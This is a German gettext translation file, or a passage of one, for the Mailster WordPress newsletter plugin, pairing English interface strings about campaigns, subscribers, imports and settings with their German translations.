msgid "begins with"
msgstr "beginnt mit"

#: classes/ajax.class.php:1016
msgid "Country"
msgstr "Land"

#: views/settings/manage-settings.php:19
msgid "Import Data"
msgstr "Daten importieren"

#: classes/template.class.php:453
msgctxt "common module name"
msgid "Quotation right"
msgstr "Zitat rechts"

#: classes/subscribers.class.php:1518
msgid "Bounce"
msgstr "Bounce"

#: views/manage.php:86
msgid "Import WordPress users with following roles"
msgstr "Importiere WordPress users mit folgenden Rollen"

#: views/setup.php:156
msgid "This line is required in most countries. Your subscribers need to know why and where they have subscribed."
msgstr "Diese Zeile ist in den meisten Ländern gesetzlich vorgeschrieben. Deine Abonnenten müssen wissen weshalb und wo sie sich angemeldet haben."

#: views/lists/detail.php:128
msgid "bounce rate"
msgstr "Absprungrate"

#: views/subscribers/user_edit.php:20
msgid "Create"
msgstr "Erstellen"

#: classes/manage.class.php:438
msgid "Import as"
msgstr "Importieren als"

#: classes/settings.class.php:389 views/settings/subscribers.php:78
msgid "Radio Buttons"
msgstr "Radio Buttons"

#: views/lists/detail.php:9
msgid "This list does not exist or has been deleted!"
msgstr "Diese Liste existiert nicht oder wurde gelöscht"

#: classes/campaigns.class.php:3768
msgid "bounces"
msgstr "unzustellbar"

#: classes/campaigns.class.php:172
msgid "Create A New Campaign"
msgstr "Neue Kampagne erstellen"

#: classes/manage.class.php:75
msgid "Import complete!"
msgstr "Import abgeschlossen!"

#: classes/conditions.class.php:85 classes/manage.class.php:977
#: views/manage.php:319
msgid "Rating"
msgstr "Bewertung"

#: classes/campaigns.class.php:1377
msgid "This mail will hardly see any inbox!"
msgstr "Dieses Mail wird kaum ein Postfach erreichen!"

#: includes/capability.php:123
msgid "bulk delete subscribers"
msgstr "Abonnenten löschen"

#: views/dashboard/mb-campaigns.php:52 views/dashboard/mb-quicklinks.php:23
msgid "Create Autoresponder"
msgstr "Erstelle einen Autoreponder"

#: views/dashboard/mb-subscribers.php:38
msgid "Import your existing Subscribers"
msgstr "Importiere deine vorhanden Abonnenten"

#: classes/campaigns.class.php:1362 classes/mailster.class.php:2210
#: views/settings/tags.php:9
msgid "Read more"
msgstr "Erfahre mehr"

#: views/newsletter/editbar.php:91
msgid "button label"
msgstr "Buttonbezeichung"

#: views/dashboard/mb-campaigns.php:53 views/dashboard/mb-quicklinks.php:22
msgid "Create Campaign"
msgstr "Erstelle ein Kampagne"

#: views/setup.php:477
msgid "Import your existing subscribers"
msgstr "Importiere deine aktuellen Abonnenten"

#: classes/queue.class.php:1015
msgid "Read more about Cron Locks %s."
msgstr "Lies mehr über Cron Locks %s"

#: classes/mailster.class.php:1804
msgid "This purchase code is already assigned to another user!"
msgstr "Der Lizenzcode ist bereits einem anderen Benutzer zugewiesen!"

#: views/addons.php:50 views/templates/installed-template.php:26
#: views/templates/installed-template.php:62
#: views/templates/available-template.php:30
#: views/templates/available-template.php:37
msgid "by"
msgstr "von"

#: views/dashboard/mb-lists.php:42
msgid "Create List"
msgstr "Erstelle eine Liste"

#: views/settings/manage-settings.php:15
msgid "Import your settings by pasting the exported data. Make sure you check the data after import."
msgstr "Importiere deine Einstellungen indem du die exportierten Daten hier einfügst. Stelle danach sicher, dass die Daten korrekt importiert wurden!"

#: classes/forms.class.php:1383
msgid "Read more about shortcodes at %s"
msgstr "Erfahre mehr über Shortcodes hier %s"

#: views/subscribers/detail.php:52
msgid "This subscriber has caused an error: %s"
msgstr "Diese Abonnent verursachte eine Fehler: %s"

#: views/subscribers/user_edit.php:23
msgid "Create Mailster Subscriber"
msgstr "Erstelle einem Mailster Abonnenten"

#: classes/manage.class.php:63
msgid "Importing Contacts...%s"
msgstr "Importiere Kontakte...%s"

#: views/setup.php:29
msgid "Ready!"
msgstr "Fertig!"

#: views/subscribers/detail.php:9
msgid "This user does not exist or has been deleted!"
msgstr "Dieser Benutzer existiert nicht oder wurde gelöscht!"

#: views/subscribers/detail.php:483
msgid "campaign deleted"
msgstr "Kampagne gelöscht"

#: views/setup.php:196
msgid "Create Newsletter Homepage"
msgstr "Erstelle die Newsletter Homepage"

#: views/settings/privacy.php:43
msgid "In some countries it's required to save the IP address and the sign up time for legal reasons. Please add a note in your privacy policy if you save users data"
msgstr "In manchen Ländern ist es aus rechtlichen Gründen erforderlich die IP Adresse und den Zeitpunkt der Anmeldung zu speichern. Bitte weise auf die Speicherung in deinen Datenschutzbestimmungen hin"

#: classes/manage.class.php:760
msgid "Reason"
msgstr "Grund"

#: views/setup.php:46
msgid "This wizard helps you to setup Mailster. All options available can be found later in the settings. You can always skip each step and adjust your settings later if you're not sure."
msgstr "Dieser Assistent hilft die Mailster zu konfigurieren. Alle Optionen können später unter Einstellungen geändert werden. Du kannst jeden Schritt überspringen und später machen, falls du dir irgendwo nicht sicher bist."

#: classes/lists.class.php:162
msgid "campaigns"
msgstr "Kampagnen"

#: classes/campaigns.class.php:1440
msgid "Create Screenshot for Feature Image"
msgstr "Erstelle Screenshot als Beitragsbild"

#: views/forms/detail.php:181
msgid "Include your Theme's style.css"
msgstr "Die style.css Datei deines Themes verwenden"

#: classes/campaigns.class.php:277
msgid "Receivers"
msgstr "Empfänger"

#: classes/manage.class.php:380
msgid "Time Options"
msgstr "Zeitoptionen"

#: views/settings/general.php:135
msgid "can be changed in each campaign"
msgstr "kann in jeder Kampagne angepasst werden"

#: views/dashboard/mb-subscribers.php:39
msgid "Create a Form to engage new Subscribers"
msgstr "Erstelle ein neues Formular um neue Abonnenten zu bekommen"

#: views/forms/detail.php:202
msgid "Info Messages"
msgstr "Info Box"

#: classes/mailster.class.php:1373
msgid "Receiving Content"
msgstr "Erhalte Daten"

#: views/settings/delivery.php:70
msgid "Time between mails"
msgstr "Zeit zwischen E-Mails"

#: classes/lists.class.php:1156
msgid "Create a List now"
msgstr "Eine neue Liste erstellen"

#: views/forms/detail.php:234
msgid "Input"
msgstr "Eingabefeld"

#: classes/widget.class.php:31 classes/widget.class.php:252
#: classes/widget.class.php:520
msgid "Title"
msgstr "Titel"

#: views/settings/general.php:122
msgid "change Charset and encoding of your mails if you have problems with some characters"
msgstr "ändere das Charset und die Kodierung falls du Probleme bei manchen Zeichen hast"

#: views/dashboard/mb-campaigns.php:44
msgid "Create a new Campaign"
msgstr "Neue Kampagne erstellen"

#: views/forms/detail.php:237
msgid "Input Background"
msgstr "Eingabefeldhintergrund"

#: classes/conditions.class.php:125 classes/subscribers.class.php:1528
msgid "Referer"
msgstr "Verweis"

#: classes/forms.table.class.php:120
msgid "change design"
msgstr "ändere Design"

#: views/dashboard/mb-lists.php:36
msgid "Create a new List"
msgstr "Erstelle eine neue Liste"

#: views/forms/detail.php:212
msgid "Input Background Color"
msgstr "Texthintergrundfarbe"

#: views/settings/tags.php:43
msgid "To enable the tweet feature you have to create a new %s and insert your credentials"
msgstr "Um die Tweetfunktion zu aktivieren benötigst du eine neue %s und musst die Daten hier eingeben:"

#: views/settings/texts.php:92
msgid "change language"
msgstr "Sprache wechseln"

#: views/setup.php:485
msgid "Create a welcome message for new subscribers"
msgstr "Erstelle eine Willkommensnachricht für neue Abonnenten"

#: views/forms/detail.php:213
msgid "Input Focus Color"
msgstr "Textfeldfarbe (focus)"

#: views/dashboard.php:22
msgid "Register for News, Support and Updates related to Mailster."
msgstr "Jetzt für News, Support und Updates von Mailster registrieren."

#: classes/mailster.class.php:1788
msgid "To get automatic updates for Mailster you need provide a valid purchase code."
msgstr "Für automatische Updates von Mailster musst du einen gültigen Lizenzcode angeben."

#: views/settings/texts.php:82
msgid "change language of texts if available to"
msgstr "ändere die Sprache der Texte falls verfügbar"

#: views/newsletter/template.php:40
msgid "Create the plain text version based on the HTML version of the campaign"
msgstr "Erstelle die Textversion anhand der HTML Version der Kampagne"

#: views/forms/detail.php:211
msgid "Input Text Color"
msgstr "Textfeldfarbe"

#: classes/mailster.class.php:1781
msgid "To get automatic updates for Mailster you need to register on the %s."
msgstr "Um automatische Updates für Mailster zu erhalten musst du dich auf dem %s registrieren."

#: classes/forms.table.class.php:121
msgid "change settings"
msgstr "Einstellungen ändern"